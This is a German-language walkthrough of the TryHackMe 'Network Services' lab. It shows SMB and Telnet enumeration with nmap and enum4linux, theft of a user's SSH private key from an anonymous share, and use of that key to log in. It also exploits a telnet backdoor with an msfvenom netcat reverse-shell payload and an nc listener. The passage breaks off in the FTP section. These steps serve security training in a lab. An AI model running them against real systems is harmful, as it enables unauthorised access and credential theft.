Dies ist ein Beitrag für den TryHackMe.com-Raum Network Services, erstellt von Polomints.
Dieser Artikel enthält die Antworten auf die meisten Fragen, jedoch, wie von TryHackMe gewünscht, nicht die Flags oder Passwörter.
Dieser Raum befindet sich zum Zeitpunkt des Verfassens dieses Artikels im Lernpfad „Cyber Defense“ und hier.
Meine Video-Komplettlösung dazu finden Sie HIER.
Die Aufgaben in diesem Raum folgen einem wiederholten Muster: Verstehen, Aufzählen und Ausnutzen. Die Verständnisaufgaben informieren Sie über den Dienst, den Sie nutzen werden. In den Aufzählungsaufgaben erfahren Sie, wie Sie Daten über den Dienst sammeln. Und dann führen Sie mit den Exploiting-Aufgaben den Exploit für jeden Dienst aus.
Die VMs, die dieser Raum verwendet, befinden sich alle in den Aufzählungsaufgaben, gekennzeichnet durch das grüne Stapelsymbol . Da es zwischen 1 und 5 Minuten dauern kann, bis die VMs hochgefahren sind, empfehle ich, dass Sie vor dem Starten einer Verstehensaufgabe zur Aufzählungsaufgabe springen und die Maschine starten. Das gibt ihm Zeit zum Einrichten, während Sie zurückgehen und die Aufgabe „Verstehen“ durchgehen.
Angenommen, Sie sind bei TryHackMe genauso neu wie ich. In diesem Fall kennen Sie möglicherweise nur VMs, zu denen Sie mit OpenVPN eine Verbindung herstellen können, indem Sie deren IP-Adresse in Ihren Browser eingeben, normalerweise mit einer in den Aufgaben genannten Portnummer, die Sie dann zu einer GUI führt. Das ist bei diesem Zimmer nicht der Fall. Diese VMs sind so eingerichtet, dass sie nur die von Ihnen getesteten Dienste bereitstellen. Das bedeutet, dass Sie ein Terminal auf Ihrem lokalen Computer, die Attack Box, oder, wenn Sie ein Premium-Benutzer sind, die browserbasierte Kali-Box verwenden, um mit den VMs zu kommunizieren. Ich habe die browserbasierte Kali-Box verwendet.
Wenn Sie Ihren lokalen Computer verwenden, würde ich vorschlagen, entweder einen Linux-Computer oder ein Windows-Subsystem für Linux zu verwenden, auf dem Kali/Ihre Lieblingsvariante installiert ist. Alle benötigten Tools sind mit Kali vorinstalliert, können aber auch zu anderen Distributionen hinzugefügt werden. Außerdem läuft auf meinem Rechner kein Windows-Subsystem für Linux, daher müssen Sie möglicherweise einige Dinge selbst herausfinden.
Es gibt einen Teil, der eine Datei erfordert, die in der browserbasierten Kali-Maschine/der Attack Box bereitgestellt wird. Wenn Sie Ihren lokalen Computer verwenden möchten, müssen Sie die Attack Box starten und diese Datei herunterladen. Sie können die Angriffsbox auch nur für Aufgabe 10 verwenden.
@@ Ich habe später erfahren, dass Sie die Datei von GitHub unter rockyou.txt herunterladen können. Das ist bei weitem die einfachste Methode, aber ich werde diese zusätzlichen Anweisungen hier belassen, falls jemand sie ausprobieren möchte. @@
So laden Sie es mit WinSCP unter Windows 10 herunter
Wenn Sie die 136-MB-Datei herunterladen und Ihr lokales Terminal verwenden möchten, erfahren Sie hier, wie Sie dies auf einem Windows-Computer tun. Für die Übertragung habe ich WinSCP verwendet. Starten Sie zunächst die Splitview Attack Box. Sobald Sie Zugriff auf den Desktop haben, klicken Sie auf das „i“ unten links auf dem Bildschirm . Dadurch erhalten Sie die IP-Adresse, den Benutzernamen und das Passwort der Attack Box. Wählen Sie dann in WinSCP auf dem Anmeldebildschirm „Neue Site“ aus und geben Sie dann die IP-Adresse der Attack Box als Hostnamen, den Benutzernamen als Benutzernamen und das Passwort als Passwort ein.
Denken Sie daran; Ihre Informationen werden sich von meinen unterscheiden. Wählen Sie SFTP als Protokoll aus. Port 22 sollte automatisch ausgefüllt werden. Wenn nicht, geben Sie 22 als Port ein. Klicken Sie dann auf Anmelden. Sie werden wahrscheinlich ein Popup-Fenster mit der Frage erhalten, ob Sie „Verbindung mit unbekanntem Server fortsetzen …“ möchten. Klicken Sie auf „Ja“. Sobald Sie angemeldet sind, befinden Sie sich im Stammverzeichnis der Attack Box. Doppelklicken Sie auf „Extras“ und dann auf „Wortlisten“ (der Pfad in WinSCP ändert sich in /usr/share/wordlists/
das ist in Ordnung.) Suchen Sie die Datei mit dem Namen rockyou.txt, wählen Sie sie aus und klicken Sie auf „Herunterladen“.
Das Dialogfeld „Herunterladen“ wird geöffnet. Wählen Sie den gewünschten Dateipfad aus und klicken Sie auf „OK“. Sie haben jetzt die Datei, die Sie für Aufgabe 10 benötigen. Merken Sie sich den Dateipfad. Du wirst es brauchen.
Ende: So laden Sie es mit WinSCP unter Windows 10 herunter
So laden Sie es über ein Linux-Terminal herunter
Genau wie bei Windows starten Sie die Attack Box mit geteilter Ansicht. Sobald Sie Zugriff auf den Desktop haben, klicken Sie auf das „i“ unten links auf dem Bildschirm . Dadurch erhalten Sie die IP-Adresse, den Benutzernamen und das Passwort der Attack Box.
Geben Sie in Ihrem Terminal sftp root@{Your Attack Box Private IP}
ohne Klammern ein. Entfernen Sie in diesem Artikel immer die geschweiften Klammern, wenn Sie Befehle ausführen. Der Benutzername jeder Attack Box, die ich gesehen habe, ist root; Wenn Ihr Name anders ist, geben Sie im obigen Befehl den Benutzernamen anstelle von root ein. Anschließend werden Sie nach dem Passwort gefragt. Kopieren Sie das Passwort und fügen Sie es aus dem Fenster „Maschineninformationen“ der Attack Box ein. Machen Sie sich keine Sorgen, wenn das Passwort nicht angezeigt wird. Fügen Sie es einfach ein/tippen Sie es ein und drücken Sie die Eingabetaste. Nach dem Herstellen der Verbindung sollten Sie eine sftp>
-Eingabeaufforderung erhalten. Wenn etwas schief geht, überprüfen Sie noch einmal, ob Sie mit OpenVPN verbunden sind und ob Sie den richtigen Benutzernamen/die richtige IP-Adresse/das richtige Passwort verwenden. Sobald Sie die sftp
Eingabeaufforderung erhalten, geben Sie get /root/Desktop/Tools/wordlists/rockyou.txt
ein und achten Sie dabei genau auf die Groß- und Kleinschreibung. Der Download der Datei auf Ihr lokales System sollte beginnen.
Wenn Sie eine ähnliche Distribution wie meine (Kali) verwenden, sollte die Datei im Home-Ordner Ihres Benutzers abgelegt werden. Merken Sie sich den Dateipfad. Sie benötigen es für Aufgabe 10.
Ende: So laden Sie es mit einem Linux-Terminal herunter
Nachdem das alles geklärt ist, kommen wir nun zu den Aufgaben!
Diese Aufgabe dient lediglich der Information und erfordert keine Antwort auf die Frage. Wenn Sie es durchlesen, wissen Sie, dass Sie ein grundlegendes Verständnis für die Navigation in Linux-Systemen benötigen, und schlagen Ihnen einen Raum vor, in dem Sie Ihre Fähigkeiten auffrischen können. Außerdem erinnert es Sie daran, ausreichend Flüssigkeit zu sich zu nehmen.
Klicken Sie auf die Schaltfläche „Abgeschlossen“ und fahren Sie mit der nächsten Aufgabe fort.
In dieser Aufgabe lernen Sie den Microsoft-Dienst Server Message Block (SMB) kennen, ein Client-Server-Protokoll, das zum gemeinsamen Zugriff auf Dateien, Drucker und andere Ressourcen in einem Netzwerk verwendet wird. Da es sich um eine theoretische Aufgabe handelt, lesen Sie die Informationen durch und beantworten Sie die folgenden Fragen. Wenn Sie das Wort NetBEUI noch nie zuvor gesehen haben, und ich würde es Ihnen nicht verübeln, wenn Sie es nicht gesehen hätten, wird es „Net Buoy“ ausgesprochen, wie eine Meeresboje.
Wenn Sie Ihre Wartezeit minimieren möchten, empfehle ich Ihnen, jetzt Aufgabe 3 zu öffnen und auf die grüne Schaltfläche „Maschine starten“ zu klicken. Scrollen Sie dann zurück nach oben und führen Sie diese Aufgabe durch.
Frage 1
Wofür steht SMB?
Server-Nachrichtenblock
Frage 2
Welche Art von Protokoll ist SMB?
Antwort-Anfrage
Frage 3
Womit verbinden sich Clients mit Servern?
TCP/IP
Frage 4
Auf welchen Systemen läuft Samba?
Unix
Diese Aufgabe deckt die Phase der Informationsbeschaffung ab, die für die Einrichtung einer erfolgreichen Ausnutzung von entscheidender Bedeutung ist.
Wenn Sie die obigen Anweisungen befolgt haben, haben Sie die Maschine für diese Aufgabe bereits gestartet, bevor Sie Aufgabe 2 abgeschlossen haben. Wenn nicht, starten Sie die Maschine bitte jetzt, indem Sie auf die grüne Schaltfläche „Maschine starten“ klicken. Sobald die Maschine vollständig betriebsbereit ist, sehen Sie oben auf der Seite die IP-Adresse; Du wirst es brauchen.
Es beginnt mit einer kurzen Beschreibung des Port-Scanning-Tools Nmap. Wenn Sie mehr Erfahrung mit Nmap haben möchten/benötigen, bevor Sie fortfahren, empfiehlt sich ein Raum, der Teil der Red Primer-Serie ist. Die einzigen zwei Optionen, die Sie für diesen Raum kennen müssen, sind -A
, die die Betriebssystemerkennung, Versionserkennung, Skript-Scanning und Traceroute ermöglicht, und die Option -p-
, die Nmap anweist, alle Ports zu scannen, nicht nur die 1000 am häufigsten. Die Syntax für die Nmap-Scans, die wir hier verwenden, lautet nmap {options} {target}
. Beim ersten Scan sieht es also etwa so aus: nmap -A -p- 10.10.10.10
mit der IP Ihres aktiven Computers anstelle aller Zehner. Dieser Screenshot zeigt, wo Sie die IP Ihres Computers finden. Stellen Sie sicher, dass Sie die IP Ihres aktiven Computers verwenden und nicht einfach die hier angezeigte kopieren.
Wir werden auch das für mich neue Tool enum4linux verwenden. enum4linux wird zum Aufzählen von SMB-Freigaben auf Windows- und Linux-Systemen verwendet. Es gibt eine Liste der verfügbaren enum4linux-Optionen; Ich habe jedoch die Option -a
verwendet, die alle abdeckt. Hinweis: Die für enum4linux bereitgestellten Informationen beschreiben die Option als -A
mit einem Großbuchstaben, was falsch ist; es muss ein Kleinbuchstabe a
sein.
Frage 1
Führen Sie einen Nmap-Scan Ihrer Wahl durch. Wie viele Ports sind geöffnet?
Für diese Frage können Sie einen einfachen Nmap-Scan von nmap {IP of your Active Machine}
durchführen. Wenn Sie jedoch einen Scan durchführen und fast alle Informationen für die folgenden Fragen erhalten möchten, führen Sie nmap -A -p- {IP of your Active Machine}
aus. Hier finden Sie die Informationen, die Sie mit dem Basisscan erhalten.
Wie Sie den Scan-Ergebnissen entnehmen können, gibt es drei offene Ports, 22, 139 und 445. Allerdings gibt es dort nicht viel mehr, was wir brauchen.
Frage 2
Auf welchen Ports läuft SMB?
Diese Frage ist etwas kniffliger. SMB ist Teil von Microsoft-ds auf Port 445, kann aber über NetBIOS auf 139 ausgeführt werden. Die Antwort auf diese Frage lautet also beides.
139/445
Frage 3
Beginnen wir mit enum4linux und führen eine vollständige Basisaufzählung durch. Zunächst einmal: Wie lautet der Name der Arbeitsgruppe ?
Wenn Sie für diese Frage nmap -A {Your Machine's IP}
ausgeführt haben, verfügen Sie bereits über diese Informationen.
Diese Frage lehrt uns jedoch etwas über enum4linux, also nutzen wir das. Führen Sie enum4linux -a {IP Address of your Active Machine}
aus.
Wie Sie den Screenshots oben entnehmen können, wird die Arbeitsgruppe als WORKGROUP aufgeführt.
Frage 4
Wie heißt die Maschine?
Für diese Frage müssen Sie nach unten zum Abschnitt „Host-Skript-Ergebnisse“ der Scan-Ergebnisse scrollen, wenn Sie nmap -A -p-
verwendet haben.
Unter dem Computernamen wird polosmb
angezeigt.
Für enum4linux müssen Sie etwas mehr Rückschlüsse ziehen.
Frage 5
In den obigen Screenshots ist auch die Antwort auf diese Frage enthalten.
Welche Betriebssystemversion läuft?
6.1
Frage 6
Diese Frage kann nur mit enum4linux beantwortet werden. Führen Sie enum4linux -A {IP of your Active Machine}
aus.
Welcher Anteil sticht als etwas heraus, das wir untersuchen möchten?
IPC$ ist Interprozesskommunikation; Ich werde das nicht brauchen. print$ ist für Druckertreiber, auch nicht wirklich das, was wir wollen. netlogon für den Netzwerk-Anmeldedienst, wahrscheinlich nicht über die Informationen verfügen, die wir benötigen. Dadurch bleiben profiles
übrig, die Informationen über Benutzerprofile enthalten. Das hat Potenzial. Möglicherweise können wir dort die Anmeldeinformationen eines Benutzers finden.
Hier kommt noch mehr Spaß auf uns zu. Wir werden den SMBClient verwenden, der auf Kali verfügbar ist, aber zu anderen Distributionen hinzugefügt werden kann. Für den SMBClient verwenden wir die Syntax smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
.
Frage 1
Was wäre die richtige Syntax, um als Benutzer „suit“ auf einer Maschine mit der IP 10.10.10.2 am Standardport auf eine SMB-Freigabe namens „secret“ zuzugreifen?
Wenn wir uns die obige Syntax ansehen, können wir die Informationen einfach einfügen.
smbcliet //10.10.10.2/secret -U suit -p 445
Frage 2 Großartig! Da Sie nun mit der Syntax vertraut sind, können wir versuchen, diese Schwachstelle auszunutzen. Sie verfügen über eine Liste der Benutzer, den Namen der Freigabe und eine vermutete Schwachstelle.
Keine Antwort erforderlich; Klicken Sie einfach auf „Fertig stellen“.
Frage 3
Mal sehen, ob unsere interessante Freigabe so konfiguriert wurde, dass anonymer Zugriff möglich ist, d. h. Zum Anzeigen der Dateien ist keine Authentifizierung erforderlich. Wir können dies einfach tun, indem wir:
Verwendung des Benutzernamens „Anonym“
Herstellen einer Verbindung zu der Freigabe, die wir während der Aufzählungsphase gefunden haben
und kein Passwort angeben
Wenn Sie nach dem Passwort gefragt werden, drücken Sie einfach die Eingabetaste.
Ermöglicht die Freigabe einen anonymen Zugriff? J/N?
Wenn Sie die Eingabeaufforderung smb: > sehen, bedeutet das, dass Sie sich erfolgreich angemeldet haben, ohne das Passwort anzugeben. Y
, die Freigabe ermöglicht also einen anonymen Zugriff.
Frage 5
Geben Sie ls
ein, um den Inhalt der Freigabe anzuzeigen. Was sehen Sie, das Informationen für uns enthalten könnte?
Das erste, was mir ins Auge fiel, war die Textdatei. Denken Sie daran, dass Linux keine Dateien mit Leerzeichen im Namen mag, daher müssen Sie in Ihren Befehlen „ “ darum herum hinzufügen. Apropos, wie das Terminal sagt: Wenn Sie „help“ eingeben, erhalten Sie eine Liste der verfügbaren Befehle, was ich sehr nützlich fand.
Normalerweise würde ich cat
verwenden, um den Inhalt der TXT-Datei anzuzeigen, aber er ist nicht in der Liste. Es scheint, dass SMBClient das nicht kennt, also habe ich mich für more
entschieden.
Diese Datei liefert uns zwei wichtige Informationen: einen potenziellen Benutzernamen, der auf John Cactus basiert, die Adresse der Datei und die Tatsache, dass John ein SSH-Konto eingerichtet hat.
Großartig! Schauen Sie sich nach interessanten Dokumenten um, die wertvolle Informationen enthalten könnten. Von wem können wir annehmen, dass dieser Profilordner gehört?
John Cactus
Frage 6
Das Lesen der TXT-Datei in der vorherigen Frage gibt uns auch die Antwort auf diese Frage.
Welcher Dienst wurde konfiguriert, damit er von zu Hause aus arbeiten kann?
SSH
Frage 7
Nachdem wir nun mit der TXT-Datei fertig sind, drücken Sie „q“, um den Editor zu verlassen.
Okay! Jetzt wissen wir: In welchem Verzeichnis auf der Freigabe sollten wir nachsehen?
Da wir nach weiteren Informationen zu Johns SSH-Konto suchen, denke ich, dass es hier einen Ordner gibt, der sehr nützlich sein könnte; welches meinst du ist es?
.ssh
Frage 8
Dieses Verzeichnis enthält Authentifizierungsschlüssel, die es Benutzern ermöglichen, sich auf einem Server zu authentifizieren und dann darauf zuzugreifen. Welcher dieser Schlüssel ist für uns am wertvollsten?
Wir wechseln also in den .ssh-Ordner, indem wir cd .ssh
eingeben. Führen Sie dann den Befehl ls
erneut aus, um den Inhalt anzuzeigen.
Der Standard-SSH-Schlüssel wird in der Datei id_rsa
gespeichert. Das ist also unsere Antwort.
Wenn Sie sehen möchten, wie ein SSH-Schlüssel aussieht, können Sie den Befehl „more“ erneut verwenden, um ihn anzuzeigen. more id_rsa
. Das Wichtigste ist, dass es mit „BEGIN RSA PRIVATE KEY“ mit 5 Bindestrichen auf beiden Seiten beginnt. Und endet dann mit „END RSA PRIVATE KEY“, ebenfalls mit einer gestrichelten 5 auf beiden Seiten. Dann erneut „q“, um den Editor zu verlassen.
Jetzt können wir noch etwas Aufklärung betreiben, um die nächste Frage etwas einfacher zu gestalten. Führen Sie more id_isa.pub
. Und sehen Sie, was Sie ganz am Ende der Datei sehen können.
Frage 9
Laden Sie diese Datei auf Ihren lokalen Computer herunter und ändern Sie die Berechtigungen mit „chmod 600 [Datei]“ auf „600“.
Um die Datei herunterzuladen, werfen Sie einen Blick auf den Hilfebefehl und sehen Sie, welcher Befehl Ihrer Meinung nach am wahrscheinlichsten zu einem Download führen würde.
Ich denke, es würde ein Vergnügen sein, get
. Um die Datei herunterzuladen, während sie sich noch im .ssh-Ordner befindet, führen Sie get id_rsa
aus. Auf dem browserbasierten Kali-Computer wird die Datei dadurch in Ihrem Stammverzeichnis abgelegt. Wenn Sie eine lokal ausgeführte Linux-Distribution verwenden, wird diese wahrscheinlich im Home-Verzeichnis Ihres Benutzers abgelegt.
Nun erfordern RSA-Schlüsseldateien ein gewisses Maß an Sicherheit, damit sie funktionieren. Daher müssen wir die richtigen Berechtigungen für diese Datei festlegen. Auch die Freigabe ist nicht mehr möglich. Führen Sie daher quit
aus, um zur Eingabeaufforderung Ihres Computers zurückzukehren. Führen Sie dann chmod 600 {File Path}
aus. Für die Kali-Webmaschine also chmod 600 id_rsa
. Für die anderen Computer können Sie entweder mit cd
zu dem Ordner navigieren, in dem sich die Datei befindet, und dann den obigen Befehl ausführen. Alternativ geben Sie den Pfad zur Datei im Befehl ein.
Nutzen Sie nun die bereits gesammelten Informationen, um den Benutzernamen des Kontos zu ermitteln. Verwenden Sie dann den Dienst und den Schlüssel, um sich beim Server anzumelden.
Da wir diese kleine zusätzliche Aufklärung durchgeführt haben, wissen wir, dass der Benutzername „cactus“ ist. Als ich das zum ersten Mal durchging, ging ich davon aus, dass der Benutzername j.cactus wäre, und stieß auf einen Fehler, den ich nicht verstand – das Finden des richtigen Benutzernamens löste das Problem.
Die Syntax für SSH unter Verwendung eines angegebenen Schlüssels lautet: ssh -i {Key File} {Username}@{IP Address}
. Für uns ist das also ssh -i id_rsa cactus@{Active Machine's IP Address}
Wenn Sie gefragt werden, ob Sie wirklich fortfahren möchten, geben Sie „Ja“ ein und drücken Sie die Eingabetaste. Glückwunsch! Wenn Sie sehen, dass sich die Eingabeaufforderung in cactus@polosmb:~$
ändert, sind Sie nun erfolgreich mit einem Konto, das nicht Ihnen gehört, bei einem Server angemeldet.
Verwenden Sie den Befehl ls
um zu sehen, was sich hier befindet, nur eine Datei; Öffne es, damit du die Flagge erobern kannst! Sie können hier cat
verwenden, um den Inhalt auf dem Bildschirm auszudrucken.
Frage 10
Kopieren Sie den Inhalt der gerade geöffneten Datei und fügen Sie ihn in das Feld für diese Antwort ein. TryHackMe bittet die Beiträge darum, Flags auszuschließen, daher werde ich sie hier nicht veröffentlichen.
Wenn der SMB-Abschnitt damit abgeschlossen ist, sollten Sie die aktuelle aktive Maschine beenden, zu Aufgabe 6 springen und diese Maschine starten, bevor Sie zu Aufgabe 5 zurückkehren.
Telnet ist ein veraltetes Anwendungsprotokoll. Es wird zur Interaktion mit Remote-Hosts verwendet. Sobald es mit dem Remote-System verbunden ist, wird es zu einem virtuellen Terminal für dieses System. Es ist jedoch veraltet, da alle Informationen im Klartext gesendet werden. es gibt keine Verschlüsselung. Da es viel sicherer ist, hat SSH in den meisten Situationen Telnet ersetzt. Um über Telnet eine Verbindung zu einem Remote-System herzustellen, verwenden Sie die Syntax telnet {IP Address} {port Number}
. Der Standardport für Telnet ist 23.
Frage 1
Was ist Telnet?
Anwendungsprotokoll
Frage 2
Was hat Telnet langsam ersetzt?
SSH
Frage 3
Wie würden Sie eine Verbindung zu einem Telnet-Server mit der IP 10.10.10.3 auf Port 23 herstellen?
Telnet 10.10.10.3 23
Frage 4
Das Fehlen dessen, was bedeutet, dass die gesamte Telnet-Kommunikation im Klartext erfolgt?
Verschlüsselung
Wenn Sie die Maschine für diese Aufgabe noch nicht gestartet haben, tun Sie dies bitte jetzt.
Wie bei den SMB-Aufgaben führen wir zunächst einen Port-Scan unseres Zielsystems durch.
Führen Sie nmap -A -p- {IP address of your Active Machine}
aus. Dieser Scan kann eine Weile dauern. Meins war in 174,56 Sekunden fertig.
Frage 1
Wie viele Ports sind auf dem Zielcomputer geöffnet?
Es ist nur „1“ Port offen.
Frage 2
Welcher Port ist das? Hinweis: Hier wird gefragt, welcher Port geöffnet ist.
8012
Frage 3
Dieser Port ist nicht zugewiesen, listet aber dennoch das von ihm verwendete Protokoll auf; welches Protokoll ist das?
TCP
Frage 4
Führen Sie nun den Nmap-Scan erneut aus, ohne das Tag -p-; Wie viele Ports werden als offen angezeigt?
Denken Sie daran, dass die Option -p-
Nmap anweist, alle Ports zu scannen. Wenn Sie sie also entfernen, scannt Nmap nur die obersten 1000 Ports.
„0“-Ports sind offen.
Frage 5
Wir sehen, dass die Zuweisung von Telnet zu einem nicht standardmäßigen Port nicht Teil der Liste der allgemeinen Ports oder der Top-1000-Ports ist, die Nmap scannt. Es ist wichtig, bei der Aufzählung jeden Aspekt auszuprobieren, da die Informationen, die Sie hier sammeln, in Ihre Verwertungsphase einfließen.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Frage 6
Basierend auf dem uns zurückgegebenen Titel: Wofür könnte dieser Port unserer Meinung nach verwendet werden?
Worum es in dieser Frage geht, können Sie unten im letzten Screenshot sehen.
Eine Hintertür
Frage 7
Wem könnte es gehören? Das Sammeln möglicher Benutzernamen ist ein wesentlicher Schritt bei einer Aufzählung.
Wie bei der letzten Frage, Informationen im letzten Screenshot.
Skidy
Frage 8
Notieren Sie sich immer die Informationen, die Sie während der Aufzählungsphase finden, damit Sie darauf zurückgreifen können, wenn Sie Exploits ausprobieren.
Notizen zu machen ist sehr wichtig. Das Verfassen von Berichten über unsere Ergebnisse ist ein wesentlicher Teil unserer Arbeit im Sicherheitsbereich. Wenn Sie sich angewöhnen, gründlich Notizen zu machen, wird alles einfacher.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Methodenaufschlüsselung
Aus unserer Aufzählungsphase wissen wir also:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
Versuchen wir anhand dieser Informationen, auf diesen Telnet-Port zuzugreifen und ihn als Stützpunkt zu nutzen, um eine vollständige Reverse-Shell auf der Maschine zu installieren!
Denken Sie daran, dass die Syntax für Telnet von oben lautet: telnet {Machine IP} {Port}
Frage 1
Okay, versuchen wir, eine Verbindung zu diesem Telnet-Port herzustellen! Wenn Sie nicht weiterkommen, schauen Sie sich die oben beschriebene Syntax für die Verbindung an.
Dazu müssen Sie telnet {Your Active Machine's IP Address} 8012
ausführen, denn obwohl der Standardport für Telnet 23 ist, wie wir in unserer Nmap-Suche gefunden haben, verfügt dieses System über einen nicht standardmäßigen Port.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Frage 2
Großartig! Es handelt sich um eine offene Telnet-Verbindung! Welche Willkommensnachricht erhalten wir?
SKIDYS HINTERTÜR.
Frage 3
Versuchen wir, einige Befehle auszuführen. Erhalten wir eine Rückmeldung zu allen Eingaben, die wir in die Telnet-Sitzung eingeben? (J/N)
Geben Sie für diesen Befehl alle gewünschten Befehle ein. Ich habe versucht, ls
, was da war. Und da wir keine Informationen zurückbekommen, lautet die Antwort auf diese Frage:
N
Frage 4
Hmm... das ist seltsam. Überprüfen wir, ob das, was wir eingeben, als Systembefehl ausgeführt wird.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Frage 5
Da alle Ihre Befehle ins Leere gesendet werden, ist es etwas schwierig, diese Verbindung zu schließen. Um Ihre Aufforderung zu erhalten, etwas Hilfreiches zu ändern, drücken Sie ctrl + ]
. Das ist die gleichzeitige Steuerung und die rechte eckige Klammertaste, was Ihre Eingabeaufforderung in telnet>
ändern sollte. Geben Sie dann close
ein und drücken Sie die Eingabetaste. Sie sollten jetzt wieder zur gewohnten Eingabeaufforderung zurückkehren. Wenn Sie möchten, können Sie die Telnet-Sitzung auch verbunden lassen und einen neuen Tab/ein neues Fenster öffnen, um den folgenden TCP-Dump auszuführen.
Starten Sie einen tcpdump-Listener auf Ihrem lokalen Computer.
Ein tcpdump-Listener überwacht die ausgewählte Schnittstelle auf Datenverkehr und protokolliert diesen Datenverkehr dann auf dem Bildschirm. Sie starten es und lassen es dann in einem eigenen Tab/Fenster laufen.
Wenn Sie Ihren eigenen Computer mit der OpenVPN-Verbindung verwenden, verwenden Sie:
sudo tcpdump ip proto icmp -i tun0
Wenn Sie die AttackBox verwenden, verwenden Sie:
sudo tcpdump ip proto icmp -i eth0
Dadurch wird ein tcpdump-Listener gestartet, der explizit auf ICMP-Verkehr lauscht, auf den Pings angewendet werden.
Der Unterschied zwischen den beiden ist die Netzwerkschnittstelle. Auf Ihrer lokalen Linux-Box sollten Sie tun0 verwenden, das Tunnelgerät, das die OpenVPN-Verbindung darstellen sollte, aber zitieren Sie mich dazu nicht. Möglicherweise müssen Sie sudo ifconfig
ausführen, um zu bestimmen, welche Schnittstelle Sie verwenden sollten.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Frage 6
Für diese Frage verwenden wir wieder die Telnet-Sitzung; Wenn Sie es noch offen haben, großartig. Wenn nicht, öffnen Sie einen neuen Tab/ein neues Fenster und stellen Sie die Verbindung zum Gerät wieder her, indem Sie die gleichen Schritte wie oben ausführen. Beachten Sie, dass Sie für diese Frage die IP-Adresse des Systems benötigen, an dem Sie arbeiten, entweder die Attack Box, Kali Machine oder Ihr lokales System.
Bei dieser Frage müssen wir den Ping-Befehl über die Telnet-Sitzung ausführen. Wir geben .RUN ping {Local IP Address} -c 1
ein. Dadurch wird 1 Ping vom Remote-Host an unseren lokalen Computer gesendet. Wenn Sie beide Fenster gleichzeitig im Blick haben, können Sie sehen, was passiert, während es passiert.
Verwenden Sie nun den Befehl „ping [local THM ip] -c 1“ über die Telnet-Sitzung, um zu sehen, ob wir Systembefehle ausführen können. Erhalten wir Pings? Beachten Sie, dass Sie dies mit .RUN (J/N) voranstellen müssen.
Sie sollten sowohl die Ping-Anfrage als auch die Ping-Antwort auf Ihrem Tab mit dem tcpdump-Listener sehen.
Y
Frage 7
Großartig! Das bedeutet, dass wir Systembefehle ausführen UND unseren lokalen Rechner erreichen können. Jetzt lasst uns etwas Spaß haben!
Keine Antwort erforderlich; Klicken Sie auf Weiter
Frage 8
Für diese Frage verlassen Sie die Telnet-Sitzung und geben sie in einem anderen Tab/Fenster ein. Sie können ctrl + c
drücken, um den tcpdump-Listener zu beenden und dieses Fenster zu verwenden; Wir brauchen den TCPDump nicht mehr. Führen Sie den folgenden Befehl aus, wobei Sie die IP-Adresse Ihres lokalen Systems dort einstecken, wo sich die Klammern befinden, aber lassen Sie die Klammern weg. Sobald Sie im Befehl die Eingabetaste drücken, dauert es einen Moment, die Nutzlast zu generieren und sie dann auf dem Bildschirm auszudrucken.
Wir werden mit msfvenom eine Reverse-Shell-Nutzlast generieren. Dadurch wird für uns eine Netcat-Reverse-Shell generiert und codiert. Hier ist unsere Syntax:
„msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R“
-p = Nutzlast lhost = unsere lokale Host-IP-Adresse (dies ist die IP-Adresse Ihres Computers) lport = der Port, der überwacht werden soll (dies ist der Port auf Ihrem Computer) R = Nutzlast im Rohformat exportieren
Mit welchem Wort beginnt die generierte Nutzlast?
mkfifo
Frage 9
Perfekt. Wir sind fast da. Jetzt müssen wir nur noch einen Netcat-Listener auf unserem lokalen Computer starten. Wir tun dies mit:
„nc -lvp [Abhörport]“
Wie würde der Befehl für den Überwachungsport aussehen, den wir in unserer Nutzlast ausgewählt haben?
nc -lvp 4444
Frage 10
Großartig! Nun, das läuft; Wir müssen unsere msfvenom-Nutzlast kopieren und in die Telnet-Sitzung einfügen und als Befehl ausführen. Hoffentlich erhalten wir dadurch eine Shell auf dem Zielcomputer!
Denken Sie daran, dass der Befehl in der Telnet-Sitzung funktioniert: Sie müssen am Anfang .RUN haben.
Keine Antwort erforderlich; Klicken Sie auf „Fertig stellen“.
Frage 11
Erfolg! Was ist der Inhalt von flag.txt?
Wenn die Reverse-Shell funktioniert hat, sollte unter dem Netcat-Listener „Verbindung zu [10.10.xx] von IP usw. herstellen“ angezeigt werden.
Von dort aus können Sie wie gewohnt Befehle eingeben und an das Remote-System senden.
Ich würde vorschlagen, mit ls
zu beginnen, um zu sehen, welche Dateien vorhanden sind, und Sie sollten in der Lage sein, den Rest herauszufinden, da Sie bereits zuvor ein Flag wie dieses erfasst haben.
Damit ist der Abschnitt über Telnet abgeschlossen. Beenden Sie also die aktuelle aktive Maschine, springen Sie zu Aufgabe 9, starten Sie diese Maschine und kehren Sie dann zu Aufgabe 8 zurück.
FTP, File Transfer Protocol. Wie der Name schon sagt, wird es zum Übertragen von Dateien über ein Netzwerk verwendet. Reguläres FTP ist veraltet und wurde durch einige andere, sicherere Standards ersetzt. FTPS ist FTP über TLS, daher ist der Standardport immer noch 21, genau wie bei FTP. Das andere ist SFTP, das Secure File Transfer Protocol und verwendet SSH, daher ist der Standardport 22.
Frage 1
Welches Kommunikationsmodell verwendet FTP?
Client-Server
Frage 2
Was ist der Standard-FTP-Port?
21
Frage 3
Wie viele FTP-Verbindungsmodi gibt es?
2
Wir werden mit einem FTP-Client arbeiten. Um noch einmal zu überprüfen, ob auf Ihrem System ein FTP-Client installiert ist, können Sie ftp
eingeben und Sie sollten zu einer ftp>
-Eingabeaufforderung weitergeleitet werden. Wenn nicht, müssen Sie es nur über sudo apt install ftp
installieren.
Frage 1
Wir werden Nmap erneut verwenden, um diesen FTP-Server aufzulisten. Wenn Sie die folgenden Fragen durchgehen, werden Sie mehr Informationen benötigen, als Sie bei einem einfachen Scan erhalten würden, also habe ich mich für nmap {Active Machine IP Address} -A -p-
entschieden.
Wie viele Ports sind auf dem Zielcomputer geöffnet?
Diese Frage ist etwas seltsam. Als ich mir meine richtige Antwort ansah, als ich durch diesen Raum lief, stand dort 2. Der gerade durchgeführte Scan zeigt, dass nur Port 21 offen ist. Ich würde vorschlagen, mit 1 zu beginnen und wenn es nicht funktioniert, sagen Sie 2.
